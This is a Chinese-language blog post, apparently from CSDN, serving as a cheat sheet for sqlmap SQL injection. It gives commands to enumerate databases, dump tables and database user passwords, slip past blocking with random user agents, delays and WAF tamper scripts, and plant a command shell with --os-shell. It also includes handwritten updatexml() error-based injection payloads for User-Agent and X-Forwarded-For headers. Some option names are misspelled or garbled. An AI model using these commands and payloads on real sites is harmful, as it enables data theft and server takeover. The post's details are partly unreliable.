sqlmap使用方法

sqlmap注入流程

GET注入

1.检测是否存在sql注入:
	sqlmap -u url
2.查数据库:
	sqlmap -u url --dbs
3.查表
	sqlmap -u url -D 指定某个数据库 --tables
4.查字段
	sqlmap -u url -D 指定某个数据库 -T 指定某张表 --columns
5.查数据
	sqlmap -u url -D 指定某个数据库 -T 指定某张表 -C 指定字段 -dump

POST注入

1.sqlmap -form	自动检测表单
2.将请求包保存到test.txt
	sqlmap -r text.txt
	其他查询指令同GET指令一致

其他指令

常用指令

--random-agent 选择随机user-agent头
--delay=1	每次探测延迟1s(防止访问过快被封)
--cout	查看数据量
--proxy "http://127.0.0.1:8080"	可以将sqlmap的请求包发送给burpsuit,更加直观的知道sqlmap的每一步请求操作
--level 1-5	测试等级(最低为1,最高为5),等级越高检测越详细,level>2会检测cookie注入,大于3会检测头部注入,一般选择3
--risk 1-5	风险等级(一般选择2)
--is-dba	查询当前用户权限,如果DBA是True可以尝试直接拿webshell
--os-shell	尝试向网站中放入一个cmdshell(拥有cmd权限的shell),先选择写入shell的脚本语言

查看数据库相关信息

--current-user 枚举当前用户
--current-db 枚举当前数据库
--dbs 枚举可用数据库
--is-dba 枚举数据库权限
--passwords 枚举数据库用户密码

指纹识别

-f	启用广泛的指纹识别
-b	检测数据库指纹
-hostname 枚举主机名

WAF识别

  1. 如何识别WAF
identify-waf 检测WAF信息
  1. 如何绕过WAF
sqlmap -u 192.168.225.22 --tamper 脚本名

HEAD注入

  • $_SERVER(PHP接受请求后的一些默认数据)
<?php
	var_dump($_SERVER);
?>
  • updatexml()更新XML的内容
updatexml(1,路径,1)# 路径存在特殊字符就会报错
利用concat()字符拼接进行报错注入
e.g updatexml(1,concat('!a',(select database())),1);

sql语句为:
$sql="insert into test (uagent, username) values('$uagent', '$username')";
payload: 
'or updatexml(1, concat('!',(select table_name from information_schema.tables where table_name=database() limit 0,1)),1),123) --qwe

在这里插入图片描述
- X_FORWARDED_FOR 告诉目标主机访问者的ip

e.g可以抓取请求包,然后在请求头加上以下信息:
X_FORWARDED_FOR: 'or updatexml(1, concat('!',(select table_name from information_schema.tables where table_name=database() limit 0,1)),1),123) --qwe
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值